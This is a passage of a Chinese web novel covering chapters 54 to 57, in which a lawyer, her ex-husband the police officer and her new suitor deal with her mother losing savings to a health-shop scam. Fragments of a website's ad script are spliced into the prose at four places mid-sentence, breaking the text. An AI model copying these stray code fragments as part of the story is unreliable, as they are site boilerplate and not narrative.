周五下午,两个人喝完咖啡,天就黑透了。晚上吃了热乎乎的铁锅炖大鹅,余琛第一次看到这么大分量的家常菜,着实吃了一惊。 林茜看着平常一直淡定的余琛竟然为这种事惊讶,被逗得咯咯笑个不停。 饭馆里很热闹,也是周五了,大家忙了一周,都放松下来。老板在大堂的东边搭了个台子,放上麦克风。有兴趣的客人可以上去唱歌。 余琛也是第一次见识到东北人的热情。在这欣赏了不同客人带来的《2002年的第一场雪》、《孤独患者》、《野狼disco》等各首著名歌曲。 “说起来,我好像还没听过你唱歌诶。”林茜看着台上的人说道。 “我五音不全的。”余琛腼腆地笑笑。 “那和他们相比呢?”林茜好奇。 “比他们的广东话标准。”余琛说。 林茜又被逗笑了。 酒足饭饱,从身上到胃里都暖和和的,两个人沿着街边的油松慢慢往回走。 下过雪的夜晚,能看到星星。路灯很亮,林茜感觉整个沈阳都是暖黄色的。 街上人不多。高大的油松一直向前延展开去,仿佛没有尽头。 林茜并排和余琛走在路上,莫名想起了读书时看过的古早韩剧。 女主和男主同样暌违十年又意外重逢,经历无数波折后终于在一起。 她和余琛,也会这样吗? “在想什么?”余琛问。 “没什么。”林茜摇摇头,看起来很安静。 余琛没继续问,只是离她更近了一点,为她挡住了吹来的风。 第二天,林茜一直睡到自然醒,睁开眼已经8点半了,有点不好意思,说好要当余琛的向导的,结果自己睡懒觉,醒了醒神拨了隔壁的电话。 余琛刚从酒店的健身房回来,正要洗澡,笑着安慰她:“不用急,酒店的早餐一直供应到9点半,你可以安心吃个饭。如果不喜欢自助,我们也可以出去吃。” 等林茜收拾好,换了轻便的鞋子和外套出来找余琛,元气满满地问:“想去哪里?我陪你去。” 余琛含笑反问:“休息好了吗?” “嗯!”林茜点头,扎的丸子头也跟着晃了晃,像个可爱的女大学生。 余琛抑制住想捏捏她脸的冲动,说道:“今天不逛景点。我选了一条citywalk的路线,我们走一走,好不好?” “好啊!”林茜眼前一亮,她蛮喜欢沈阳这些老建筑的。 逛-吃-逛-吃一天之后,两人搭傍晚的高铁回了北京。 走了两万多步,林茜一上车就睡着了。迷蒙中有人轻轻地揽着自己,又有什么盖在身上,林茜记得这个味道,被阳光晒过的味道,很安心,沉沉睡了过去。 周六这一天,关昊都在家休息。 不是不沮丧的,可他强打起精神。 盯着墙上的婚纱照,关昊想起在警校时喊过的口号“勇于亮剑,敢于斗争!”“忠诚担当,精武强能!” 关昊告诉自己,不能认输。 也是否极泰来,傍晚时分,科长打来了电话。 “小关啊,身体怎么样了?” “没事了科长,谢谢科长!您让小李带来的东西我收下了,下次就别让大家破费了,我底子好,睡一觉就好了。回去我请大家伙吃饭!”关昊底气十足,听起来是好利索了。 小李带去的东西?科长心念一转,李莉这个丫头,原来是看关昊去了。直说就行,他还能拦着职工看望生病的同事吗? 科长心思转动,面上一点没露出来:“既然好了,明天有个反诈的宣传活动,你去吧。年底了,犯罪分子也冲业绩,尤其针对老年人的诈骗最近很猖獗。这次是市局牵头,各区局、法检、律所都会派人去。咱们单位派你去。” “我去没问题,科长。不过,这种活动不一般是张副队长去吗?” “偶尔换一换,也很好嘛。再说他家的孩子还小,周末希望多陪陪家人,你也体谅一下。”科长语重心长地说:“有时候,这个机会啊,就是不经意出现的,你最近刚办完一起反诈的案子,不妨分享分享经验,和同行多交流嘛。” “是,科长。”关昊想,这大约是科长送给他的学习机会。 林茜在火车上接到了律所的通知:市公安局牵头,明天举办一个反诈宣传会,业内参加的人不少。所里自愿报名,鼓励刑辩律师参加。 “还好今天回来了,明天有个业内交流会。我要去听一听。”林茜看着通知对余琛说道。 “是临时开的吗?”余琛问。 林茜往上翻了翻群里的记录:“上周通知过一次,我没看到。正好报名截止到今晚,行政又发了一次。” “那今天早点休息。”余琛温和地说。 “好。”林茜眉眼弯弯。 “明天有什么想吃的吗?如果你那边结束后没别的事,我想和你一起吃晚饭。” “没有诶,你有什么想吃的吗?我也可以陪你吃。”林茜放下手机看着余琛。 “那羊肉萝卜汤,好不好?最近天越来越冷,喝下去很暖和,而且你做完手术没多久,还是需要补一补。不过你放心,很清淡的。”窗外已经黑透了,车里的温度好像也下降一些,余琛帮林茜掖了掖毯子。 林茜乖乖地坐在那里,说道:“会不会太辛苦了?你不是还有十来天就要比赛了吗,不用训练吗?” “这次是表演赛,点到为止即可,而且我每天都有做体能训练,不用担心。”余琛耐心地说。 “那店里不用你操心吗?我们去外面吃也可以的,这样你就不用太麻烦了。” “不麻烦的。”余琛看着林茜,温和说道。 “那好,如果余老板想下厨,我是很乐意品尝的。” 余琛笑了笑:“会场地址发给我吧,到时候我去接你。” 会场在郊区,山清水秀的,就是离市里很远。林茜叹了口气:“没车是不方便哦。可惜摇号一直摇不下来。下周我打算去二手车市场看看,买一辆能带车牌一起过户的车。” “康叔对车很了解,到时候我叫上他陪你一起去看。” “谢谢你,阿琛。”林茜温柔的眼睛流光溢彩,一直照到余琛心里。 第二天一早,关昊签到进了会场,按照工作人员的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 指引来到他们片区的座位,竟然看到一个熟悉的身影。 关昊瞬间想起了科长那句“有时候,这个机会啊,就是不经意出现的。”在心里感恩戴德地给科长鞠了一个躬,然后不经意地走到林茜身边。 “林茜?你怎么也来了?”关昊故作意外地问。 林茜正在看会议发的材料,听到之后抬起头:“我去沈阳办的案子正好和诈骗有关,过来听一听。” 关昊顺势坐下:“这没人吧?什么案子啊,说说呗,我刚也办了个反诈的案子。” 林茜想关昊是经侦专业,倒是对口。离开会还有几分钟,就隐去当事人的身份信息,把案情简要和关昊说了说。 “嗯,确实不好说。这人抓得是有点冒进了。那他到底有没有偿还能力?”关昊皱着眉头问。 “现在没有了,但当初不能说百分百就没有。他的行业这两年受政策影响很大,倒闭的不知有多少。不能以现在的结果去倒推当初的动机。”林茜认真说道。 “是这个理。”关昊赞同。 会议开始了,林茜不再聊天,坐好听台上的发言。 关昊的余光一直偷偷瞄她,有种上课时偷看喜欢的女生的感觉。 会议发言人很多,各区都有不少代表,会程要一直持续到下午。 关昊的分享在下午3点。 中午临时抱佛脚,关昊找了个网吧赶紧把PPT润色一下。早知道今天要当着林茜的面做展示,他昨天不睡觉也得把PPT弄好! 下午的发言很精彩。原本关昊长得年轻,做事又风风火火的,看起来老像个毛头小伙子,上台的时候别人就没怎么在意。 结果关昊上去一分享,言之有物,一听就是实务里摸爬滚打出来的,看问题准,经验丰富,结束时赢得了不少掌声。 关昊特意看了林茜的方向,她也在鼓掌。 心里真高兴啊。 关昊利落地走下台,美滋滋回到了林茜身边。 林茜带了个笔记本电脑,正在做记录,手机调成静音放在包里。 关昊朝屏幕扫了一眼,有记他讲的内容,自豪! 简直想开屏了! 关昊清了清嗓子,正想说不用记了,有什么不清楚的可以直接找他嘛,他保证知无不言言无不尽,比台上讲得还要细致。 结果手机铃声突然响起,糟了!忘了关掉铃声了! 关昊赶紧把手机拿出来,一看竟然是前岳母,林妈。 关昊下意识看了眼林茜,林茜投来一个疑惑的眼神,指了指旁边的侧门。铃声还在响,周围已经有人看过来。 关昊先出去接了电话。 会场的侧门没关,方便人进出。关昊的声音若隐若现地从楼道里传来:“妈……别急……在一块呢……哎……回……” 林茜的注意力也被吸引了一些。关妈打来的吗? 台上的人正在做普法宣传,没什么实务细节了。林茜也拿出手机检查一下信息,竟然看到妈妈的两个未接来电。 这么巧?不会是…… 关昊神色严肃地回来了,正好对上林茜的眼神:“收拾一下东西,妈那有点事,咱们回去看看。” 55. 第 55 章 关昊开着车,把情况和林茜说了一下。林妈常去的那家艾灸店出事了。 本来林妈只充了5000,又几乎天天去,已经快回本了。但架不住商家促销,说元旦这一波是最大力度,现在提前一个月开始,原本79999的熏蒸椅,现价只要49999,机会不多,欲购从速。 林妈顶不住诱惑,又想养老金存着也是存着,反正是养生,身体保养好就是赚到了,不知省下多少医药费,一咬牙就买了。 周一下午交的钱,这几天每天去店里都还正常,可今天就有点不对劲了。 按理说今天是礼拜天,正是商家开门营业的时候,可这家店居然关门了。林妈上午去了纳着闷回来了,下午不死心又去看了一次。 这次不仅没开门,门口还聚集起了十来个人,大多是她这个岁数的老头老太太,还有几个年轻些的是儿女陪着老人来的。 “早就跟您说过,这都是骗子骗子!非不听!现在好了,跑路了吧!”一个中年男人气急败坏地对着一个老头嚷道。 “那不能够!逢年过节人家回回来家里看我,还带着东西,比你来的都勤!我不信他们骗我!准是碰着难处了,歇一阵再开。”老头梗着脖子犟道。 “外人说什么你都听!就你儿女说的你不听!我姐劝你多少回了?啊?一句不听!都跟要害你似的!我们能害你吗!”儿子也火了,对着父亲吼。 父子俩对骂起来,谁也不服谁。林妈却听得心慌,想起茜茜也刚劝过自己,别真是骗子吧? 这时旁边又有人说:“老板的电话打不通,微信也不回,这到底怎么的事呢?” “要不报警吧?”有人提议。 群龙无首,这时那个暴躁的儿子出头:“对!报警!他要真是好人,还怕警察查他吗?” 众人纷纷同意,一起去了公安局。 林妈心里没底,想着女儿就是律师,赶紧给她打电话,偏偏又打不通。女婿是警察,也顾不上她们离婚了,也打过去试试,没想到就通了。 情况就是这么个情况,现在人在公安局,等着女儿女婿去接她。 林茜一脸严肃地坐在副驾驶上。关昊等红灯的功夫看见林茜的脸色,劝道:“你也别太担心,老板刚跑路,说不定钱还能追回来。” “钱的事都是小事,我是担心她的身体。”林茜皱着眉说道:“平时就节俭,心思又细,就怕她想不开再急出病来。” “没事,咱俩多开导开导妈,老人家上了年纪也是怕寂寞,才会让那些搞营销的钻了空子。平常多陪陪她,说不定就没事了。”关昊今天很有耐心。 “也怪我。之前我劝过她,她没听进去。后来你又提醒我一回,我应该再好好劝一劝的。”林茜有些自责。 “你看你,刚还劝过我,不要把所有人的人生都背在身上,到你自己这怎么就想不开了?”关昊打着方向盘说道:“你劝过她,她没听进去,你也不能24小时守着她。要我说,有这么一回也不见得是坏事,说不定就长记性了呢,以后避免更大的麻烦。” 这番话多少宽慰了林茜的心:“谢谢你啊,关昊。” “跟我客气干什么?”关昊不在乎地说道。 林茜握着手机,生怕再错过什么消息。此时振了一下,赶紧拿起来看。 是余琛发来的:“会议快结束了吗?我去接你。” 一着急把这事忘了。 林茜回了信息:“妈妈那边出了点事,我要回去看看,晚饭不能一起吃了,不好意思,阿琛。” 余琛的电话打过来:“茜茜,伯母那边出什么事了?我送你去。” 林茜解释:“不用了。今天开会碰到了关昊。我的手机静音放在包里,错过了妈妈的电话。她打到关昊那我才知道的。她可能是碰到诈骗了,现在在县公安局做笔录。我们过去看看。” 我们? 两个男人听到这句话,心里各自泛起微妙的情绪。 关昊心里想着:本来就该是我们,你才是外人。 余琛则有丝酸酸的感觉,但声音里没透露出来:“多个人帮忙也好,我空等在这里,心里也放心不下。” “那好,我发地址给你。”林茜没再推辞。 放下电话后,关昊瞥了一眼:“余琛?” “对,本来约了晚饭,现在吃不成了。他不放心,过来看看。” “他有什么好不放心的?”跟他有什么关系?关昊不忿。 过了两秒突然意识到,约了晚饭? 她们不是早就住在一起了吗? 难道不是自己想的那样? 情绪来得比脑子转得还快,关昊内心一阵狂喜,但他在林茜面前已经学会镇定。 悄悄缓了两口气,关昊尽量装作不在意地问道:“你们经常见面吗?” “嗯。”林茜不愿多说。 但已经足够了。 她们没住一起!YES!关昊在心中挥拳。 “哦……”关昊还没想好下句问什么,嘴角已经快压不住了。 “你想问什么?”林茜转过头看着他,她太熟悉关昊了,他脑子里不知又在转什么。 “啊?没有,你的事你自己处理就好。”关昊拒不承认,佯装大度道。 林茜回过头,不再追问,她现在没时间跟关昊歪缠。 关昊心里却振奋起来,情况比他想象中要好。那就正大光明地竞争呗,他怕什么? 脑子跟着也活泛起来,关昊问道:“去了不知道什么情况,有可能得比较晚了,你明天忙吗?” “明天还好,没有开庭,也没约客户,剩下的事情都可以线上处理。”林茜回道。 “哦,那行,可以多劝劝妈。” 关昊在心里盘算着,到了岳母家几乎算主场作战了,余琛去了也不怕,肯定是自己有优势啊,最好他也能多留一段时间。 没想到林茜接下来说:“忘了问你,明天是不是很忙?年底了要准备年终总结吧?或者到了之后,你放下我你就回来吧,不然天黑了路不好走。” 这番话说得关昊不乐意了:“这么着急赶我走?” “我是怕耽误你工作。” “不耽误,我也能处理好。我还想接你一起回来呢。”说完又意识到不对,关昊加了句:“没别的意思啊,就是太晚了高铁也没车了,你回来不方便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,还是跟我的车合适。” 林茜不再坚持。关昊在高速上一路疾驰,顶着接近上限的速度开,一个小时就到了县里,两人直奔公安局。 今天是休息日,局里虽然有人值班,但一下接待这么多来报案的,一时忙不过来,林茜她们到的时候,林妈还没排上做笔录。 “妈!”林茜看到林妈,径直走过来。 “哎,茜茜,我也不知道怎么回事,怎么就到了这一步了。”林妈一脸忧虑。 “妈,您先别急,事还没查清楚,还不知道什么情况呢,也许没您想的那么糟。”关昊劝道。 “哎,好孩子。”林妈一手扶着林茜,一手扶着关昊,心里踏实下来。 林爸来了一会了,开始埋怨了老伴几句,又怕她急坏了身体,坐在那生闷气,看见女儿女婿来了,脸色也好了一些。 “爸。”关昊叫道。 “哎,关昊来了。一家人都在,有什么事都不怕,啊?”林爸又安慰起老伴。 这时候有警员来叫林妈,去做笔录。 林妈又有点忐忑:“我这笨嘴拙舌的,再说不清楚,要不茜茜你跟我一块去?” “妈,做笔录身边是不能有人的。您放心,这么多人呢,肯定能把情况说全了。您知道什么说什么就行。”关昊安慰她。 “哎,行。”林妈听完跟着警察进去了。 林爸看着女儿女婿,有点过意不去:“年纪越大越糊涂了,还把你们从北京叫过来。” “爸,这不都应该的吗?”关昊说道。 “也别担心了,最坏的情况就是钱打水漂。你们这能出的钱的问题,再大到我那也能平了。但身体气坏了没人替,想开点吧。回头也劝劝我妈。”林茜对林爸说道。 “好。”林爸点点头,感觉女儿真是长大了,能为父母撑起伞了。 林妈进去有半个多小时,出来的时候还在跟警员说着:“警察同志,拜托你们了。这都是我们的养老钱,骗子真是没有心啊。” 女警员安慰她:“您放心吧,我们肯定会查清楚的。保持电话畅通,有情况跟您联系。” 林茜和关昊过去扶林妈。其实林妈腿脚很利索,但是这样的时刻,有女儿女婿一左一右地在身边陪着,心里就有底。 林爸在后头慢悠悠跟着,调侃老伴:“你看你多大的面子,一个电话闺女女婿全来了。” 林妈不好意思地笑笑。 余琛来到周末嘈杂的公安局,一进门就看到这样一副其乐融融的场景。 余琛收敛了情绪,走上前去打招呼:“茜茜,伯母,伯父,关警官。” 林妈一头雾水,看向林茜。 林爸反应快,为避免尴尬,率先回应:“小余啊,你怎么来了?” 林茜解释:“本来和阿琛约了晚饭,后来听说出事了,他不放心,也过来看看有什么能帮忙的地方。” 阿琛?叫得这么亲昵? 林妈察觉出不对劲了,第一时间看女婿的脸色,果然不太好。 林妈板起脸:“茜茜,这就是你不懂事了。家里有事,不是招待客人的时候。关昊来就够了,哪能麻烦外人呢?” 56. 第 56 章 林茜听出妈妈话里的排斥,辩解道:“我做手术的时候,是阿琛和老姚在医院陪我,她们在我心里和家人是一样的。” “对对,”林爸出来打圆场:“那段时间关昊忙,多亏了小余白班,小姚夜班这么陪着,茜茜才能恢复地这么好。不过小余呀,今天可能要招待不周了,家里一堆事,还没处理好,对不住啊,改天请你吃饭。” “伯父您别客气,我来只是想看看有什么能帮忙的地方。”余琛温和地说。 “眼下是没有了,这样,要不你先回去。以后真有忙不过来的地方,我们再麻烦你,你看成吗?”林爸问道。 林爸话说得很客气,但还是送客的意思。 林茜看不过去,放下林妈的胳膊,走到余琛身边:“阿琛,你和我来一下。” 余琛对着林爸点了点头,跟林茜走到一边去。 此时陆陆续续有子女来接自家老人了,局里比之前更热闹了。 林茜和余琛一直走到外面。天黑以后降温了,林茜骤冷骤热,突然打了个喷嚏。 余琛脱下外套披在林茜身上。 “不行!”林茜坚定地拒绝:“还有几天你就要比赛了,这时候千万不能生病,快穿好。” “我身体好,不怕的。” “其他事我不管,这件事一定要听我的。”林茜坚持。 “好。”余琛揽着林茜往屋檐下走了走,又替她挡住风口。 “对不起呀,阿琛。”林茜这才露出抱歉的神色:“我妈说话有点冲,你别往心里去。” “应该是我说sorry,冒冒失失就来了,难怪老人家不放心。”余琛温和说道。 “我知道你是担心我,但是你放心,这件事不大,金额也很小。就算全都损失了也没什么的,我能处理好。只是要好好安抚我妈一下。还有就是……”林茜的声音放轻,有些小心地睁大眼睛看着余琛:“让你受委屈了。” 余琛露出一个浅浅的笑容,嘴角的酒窝若隐若现:“你过意不去的话,不妨好好捧场喽?” “什嘛?”林茜问道。 “跟我来。”余琛牵起林茜的手腕,往停车场的方向走去。 打开车门,余琛从座位中间的卡槽里拿出一个保温壶:“汤已经煮好了,记得喝。” 林茜心里有些感动又有些酸涩:“阿琛……” “你觉得抱歉呢,就好好吃饭。我最喜欢你开开心心吃东西的样子。”余琛看着林茜说道。 “好,我保证一滴都不剩。”林茜承诺。 “那我回去了,等你这边忙完,第一时间告诉我。有什么事都可以打给我。” “好。你到家之后也和我说一声。” “嗯,这里风大,回去吧。” 林茜想看着余琛离开,却被余琛催了回去。直到看着林茜走出停车场,余琛才发动车子,回了北京。 “茜茜,说什么话啊这么长时间?你手里拿的什么?”林妈对女儿出去这么久有些不满。 “没什么,他回北京了。我们也回去吧。”林茜面上不显,但身边这三个都是或曾经是她最亲近的人,此刻明显感觉到她不高兴了。 林妈也不敢再多说什么,一行四人回到了家里。 一进家门林爸开始张罗饭:“这天都黑了,现做也来不及了,先休息一下,一会咱出去吃。我先把饭店订上。”说完去阳台打电话了。 林妈招呼关昊:“来,关昊,坐。” 林茜去了卧室,把余琛送来的一煲汤放在了床头柜上。 她直觉解释了来源之后,爸妈不会喜欢这份汤,不如自己好好保管。 自从结婚之后,妈妈就有了分寸感,进她的卧室会敲门。放在这里,不会被打开看。 林茜打开手机,除了律所的群,没有新的信息。算算时间,余琛应该还没到。林茜默默消化了一下情绪,走出卧室。 关昊已经和林妈聊了起来。 林妈有些愤懑又有些羞赧地说着被骗的事,关昊在开解她,说警察一定会全力以赴地调查,又说这次损失也不算大,有些老人被骗到倾家荡产,棺材本都没了,这次已经是不幸中的万幸。 说着就用上了刚办完的养老院案例,既是让林妈警醒,也是让林妈宽心,这还不是最糟的情况。 还别说,关昊这招挺好使。林妈又是后怕又是庆幸,对关昊深信不疑,就差赌咒发誓自己再也不听外面人的营销了。 “还是自家人靠谱啊。”林妈拍着关昊的肩膀:“你说外面那些人,谁跟我说这些掏心窝子的话。” “我就跟你说过,你也没听啊。”林茜走过来。 “你这丫头,就是嘴毒。”林妈小小抱怨了一下,看着两人又有点疑惑,趁着人都在,把这两天的怀疑直接问出口:“你俩到底怎么回事啊?茜茜,关昊怎么不知道你生病的事?你是不是没说实话?” “是。”林茜很坦诚。 “你这孩子!好的不学,净学那歪的斜的!”林妈着急道。 林爸已经电话预定好了包间,这时候过来正好听见这一句:“怎么了?别着急,慢慢说。” “但我没捏造事实。我的生育能力确实因为手术受影响了。我们确实离婚了。我和前婆婆的关系也确实不好。哪点都没说错啊。”林茜接着说道。 “你……”林妈有点被绕糊涂了。 “那你们离婚到底是因为什么啊?”林爸问道。 “正好人都在。我也问一句,你同意离婚是为什么?因为那双拖鞋吗?”林茜没回答,转过来问关昊。 关昊没想到林茜突然问了这么一句,说话就有点磕绊:“什么拖鞋?” 林茜看出他在装傻,也不戳破,直接解释:“我搬家那天,姚佳莉,余琛和何广生过来帮忙。我在超市里买了四双拖鞋,正好两男两女。那两双男士拖鞋,大的是余琛的,小的是何广生的。当时怕你误会,所以说那双是爸的。” 原来是这样,关昊恍然大悟。 又忽然意识到自己不应该知道这个事,赶紧做表情管理。 这一切落到林茜眼里,证实了自己的猜测,不过已经不在乎了。 “你们这打什么哑谜呢?”林妈越听越迷糊。 林爸却听出几分门道。余琛看茜茜的眼神他当初就觉得不对劲,原来关昊也知道。听那意思,像是关昊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 误会了女儿和余琛有什么,其实没有? 林爸试探着问道:“这里面,是不是有什么误会呀?” 关昊想承认,然后就着这个台阶下了,赶紧认错和林茜和好。又想自己不应该知道这个事,一时左右为难。 林茜接下来的话却让所有人吃了一惊:“也不算完全误会。” “你怎么了?”林妈问。 “我和余琛,现在的确在交往。”林茜直接答道。 “是……怎么个交往?”林爸问得含蓄,他很不习惯孩子这么直白地谈论自己的感情问题,尤其她还有个前夫在场。 林妈就一针见血:“到什么程度了?” 这一问倒让林茜有点迟疑,余琛的心意她是知道的,她自己的心意也差不多确定了。可是两人还没捅破那层窗户纸。 “现在……还是朋友。”林茜说道。 林茜有种错觉,感觉这个屋里的其他三个人同时松了口气。 “茜茜,要我说你这个婚离得太冲动了,我看关昊也不是那么绝情的人。你看家里一有事他就来了,多有情有义!你上哪再找这么好的一个人。”林妈苦口婆心。几个人说了一堆也没搞清楚女儿离婚的真正原因是什么,不管了,先劝了再说,直奔重点。 林爸咳嗽一声,这话是没错,可也不好当着女婿的面直接说啊,这样女儿多没面子。你背后使劲劝不得了嘛。 林妈没注意到林爸的眼色,还要再说,被林茜打断:“离婚是深思熟虑的决定,不管有没有余琛,这婚我都是要离的。” 一直沉默的关昊这时候说话了:“茜茜,我知道我之前做得不好,忽略了你的感受。你有什么不舒服的地方,你尽管提,我都会改。”说得很诚恳。 “你看关昊多有诚意!”林妈指着关昊说,又使劲捶了下老伴:“别光我自己说,你也劝劝啊!” “是,”林爸也帮腔:“这婚姻啊,得两个人磨合。关昊肯定有关昊的问题,但你自己是不是也有需要反思的地方呢?现在关昊愿意改正,你也前进一步嘛。” 林茜感觉旧有的惯性像一张蛛网缠住了她。你可以跟人讲道理,但你没办法跟一张蛛网讲道理。 林茜直接说结论:“不前进。我换方向了。” 林茜一副油盐不进的架势。林妈还想再劝,林爸却知道女儿一时半会儿不会动摇了,开始和稀泥:“这个稍后再谈,日子还长着呢,不冲动,不急着下判断啊。咱们先吃饭,都饿了。” 关昊知道林爸是在缓和气氛,其实林茜刚刚的话已经是拒绝了他。但他还是强打起精神,配合林爸,张罗一家人去吃饭。 林茜手术他不知道。他还误会林茜和余琛同居了。 都是当初自己作的,现在的苦果也只能自己一一咽下。 自作自受。关昊在心里责怪自己。 不过好在,余琛看起来也没完全成功。总有机会的,一定有机会的。 林茜知道这顿饭必然还要耳朵受苦,但也拉不下脸来不去,干脆只喝点茶好了,左耳进右耳出。 然后回来拿余琛的汤当宵夜。 正这么想着,手机振动,余琛的信息来了。 57. 第 57 章 林茜不习惯让别人等,先点开信息,然后换好鞋和大家一起出门。走进电梯后才仔细看起来。 “茜茜,广州有个业内活动邀请我,后天我会过去,之后就飞泰国。有急事可以找阿生帮忙。保重身体,别太辛苦。” “好的,你也保重身体,不要受伤。”林茜在狭窄的电梯里打着字。 林妈说道:“电梯里就别玩手机了,信号也不好。” “叮——”电梯落地,林茜的信息也刚好发出去。 林茜收起手机,说了声:“好。” 一顿饭不出林茜所料,林妈几次提起话头劝和,林爸试图帮腔又顾忌女儿的脸色,林茜软硬不吃;而关昊,竟然担任起安抚林妈的角色。 形势已经很明朗了,岳父岳母显然是站在自己这边的,但林茜不是受父母左右的人,太逼迫她也不好,关昊反而起了点缓和的作用。 晚饭结束,关昊抢着去买单。林妈又抓住林茜,小声说:“我看关昊对你还有感情啊,怎么就不行了呢?你是不是心里有别人了?” 林茜:“是。” “你这孩子!”林妈急道。 正好关昊回来,看见林妈着急的样子,问道:“怎么了妈?” 林茜面无表情地说:“书房的床太小了,妈怕你睡着不舒服。我说这好办,去皇冠酒店开个房间就行了,酒店里还有温泉,你也可以放松一下。” 关昊抓了抓头,皇冠是县城里最好的酒店了,没想到母女俩替他想得这么周到,不过他还是愿意离林茜近一点,说:“不用这么麻烦,书房的床就挺好。” “那就委屈你啦。”林妈赶紧说,免得女儿真把人撵走了。 饭后一行人回了家,林爸拿出茶具,招呼大家喝茶消食。 林茜晚饭喝了一肚子茶水,现在已经有点饿了。 林爸像看出女儿的心思:“茜茜啊,看你晚饭没怎么吃,喝茶行吗?” “没事,但怕影响睡眠,就不喝了。”林茜说道。 “怎么没多吃一点呢?你现在太瘦了。”关昊被林爸这么一提醒,也想起来林茜好像没吃什么东西。 “吃太多也睡不好。”林茜有些冷淡。 关昊却像没看出来似的:“要不一会咱出去吃点夜宵?我看路口就有家肯德基,24小时营业的。” 林妈平常是反对吃夜宵的,此刻却赞同道:“反正你们年轻人睡得晚,吃一点也没事。” “不了,我累了,进去歇一会。”林茜不想再应付这样的场面了,回了自己的卧室。 可以吃饭了! 也不拿碗筷了,直接用保温壶的盖子当碗,里面有一个小小的不锈钢勺子。林茜坐在床边的地毯上,有滋有味地喝了起来。 “阿琛,你怎么这么厉害,吃一次就知道里面放了什么料?”有一回林茜和余琛出去吃饭,吃到一道喜欢的菜,余琛尝了两口,慢慢说出这道菜的做法。 其实煎炒烹炸,制作方式就那几大类,难得是时间和火候的控制,复杂的是各种调味料的顺序和剂量,难得余琛连这些也说得精确。 余琛浅浅笑着:“吃饭时候呢,要专心。慢一点,就能尝出其中的各种滋味,有些是食材本身的,也有调味带来的。好好享用它,才不辜负这道菜。” 林茜想起余琛这番话,也慢慢喝着。尝出了羊肉的鲜甜,萝卜的清香,还有一点点辛辣的胡椒味,喝下去胃里暖暖的,正好抵御外面的寒风。 一煲汤还没喝完,林妈敲门。 “进。”林茜没起来,坐在地毯上说道。 林妈手里拿着一张银行卡,进来看到林茜坐在地上,赶紧说:“诶呦,怎么坐地上了,多凉啊,快起来!” “没事,有地毯呢。”林茜不在意。 “那也不行,女人不能受凉。”林妈叮嘱道。 走过来看到床头柜上还放了吃的。“这是什么啊?羊肉汤?”林妈闻着味道问。 “嗯。余琛做的,本来今天晚上要吃的。”林茜解释。 余琛下厨?两个人都这么亲近了? 林妈观察着女儿:“你跟那个叫余琛的,到底怎么回事啊?从什么时候开始的?你老实跟妈说,你离婚跟他有关系吗?” “离婚之后才开始的,跟他没关系。” “那我怎么听你爸说,你以前就认识他?” “认识归认识,那时候是普通朋友。” “要一点意思没有,能一离婚就开始吗?”林妈眼神锐利,带着些审视的意味。 这种审视让林茜很不舒服:“妈,论迹不论心,论心无完人。反正我没做过对不起关昊的事,阿琛也一直守礼。我们都没错。你进来就是为了问这个?” 林妈撇撇嘴:“也不是要指责你,就是你这刚离婚就又找了。说出去也不好听。幸亏这次是关昊来了,要是换成他,这四邻八家的都看着,多不好看?” 林茜翻了个白眼:“我过日子是过给别人看的吗?” 林妈犟道:“那你们年轻人不是也有那个说法,叫什么‘无缝衔接’?不也不好听吗?” 林茜不耐烦:“我过我自己的日子,管别人说什么?难道我离了婚还要替他守三年才能开始下一段吗?你手里拿的什么?捏着半天了。” “哦,”林妈差点把正事忘了:“这是我领退休金的卡,你收着吧。” “给我?”林茜诧异。 “嗯。”林妈面上有点不自然:“年纪大了,耳根子倒软了。今天关昊说的有理,现在外面的套路层出不穷,我也不知道哪天我就又中招了。还是放你这稳妥。” 林茜拒绝:“这是你的钱,当然你自己收着。要不买个东西还得问别人要钱,那多不方便。再说这个事你也别放心上。我在警察局就跟爸说过了,现在跟你也说一遍,你俩这能出的钱的问题,在我这都能兜底,没什么过不去的。” 女儿长大了,翅膀硬了,能护着她们了。林妈又是欣慰,又有点失落。 “茜茜啊,”林妈语重心长:“你也别嫌妈唠叨,你和关昊离婚的原因,老是不愿意细说。可妈看着,关昊真不错。妈这一辈子,过得挺顺当的。有份清闲的工作,有个好老公。你爸除了懒点,还好喝个酒,其他没什么大毛病。男人嘛,多多少少都有点毛病的。抓大放小就行。你看你爸又专一又顾家,钱也交给我管,外面不知道多少人羡慕我。你呢,又聪明又懂事,从来也不让我操心。我最大的心愿,就是你也能这么顺当地过一辈子,妈就放心了。” 难得林妈这么交心,林茜也耐心地说道:“你有你愿意过的人生,我也有我愿意过的人生。甲之蜜糖,乙之砒霜。人不能都套一个模子生活的。” 林妈有些无奈:“妈这个人生,都已经验证过了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,也是无数人羡慕的,从古到今都是这样,你怎么就不信呢?康庄大道你不走,非得走那没人走的小道?” 林茜认真说:“大道小道是你自己的判断,我有我的标准。再说就算真是荆棘小道,是我想走的路又有什么不行呢?就像我自己的家,不按我的喜好装修,倒听路人的七嘴八舌装一通,我住着能舒服吗?” 林妈说不过林茜,也有点懊恼:“早知道就不该让你去留学,外面的世界见得多了,心也大了。人不能什么都要,到最后容易什么都没有!” “我信你是真的幸福。但你对幸福的定义,和我对幸福的定义是不一样的。我得过我自己觉得幸福的人生。”林茜看着林妈,语气平和又包容。 “行吧。你也长大了,妈说的话你也不听了。”林妈低下头叹着气。 外面传来开门的声音。 林茜问道:“谁来了?” “哦,关昊惦记你没怎么吃,出去给你买夜宵了,多少吃一点吧,也是人家的心意。”林妈说道。 林茜看着快见底的汤煲,胃里已经满了。 “我吃不下了。”林茜直接说。 “吃两根薯条,意思一下。能撑到哪去?实在不行你晚睡一会。” “这不符合你的养生经啊。”林茜悠悠说道。 “规矩是死的,人是活的。不知道变通吗?”林妈嗔怪女儿。 “也行。那我出去告诉他,我喝余琛熬得汤已经饱了,吃不下了,道个谢再回来睡觉。”说着就要起身。 “你这孩子!存心气死我!”林妈小声骂道:“别动弹了!我出去说你已经睡了。这个汤也别让关昊看见!” 林茜看着妈妈出了门,关昊交给妈妈应付了。 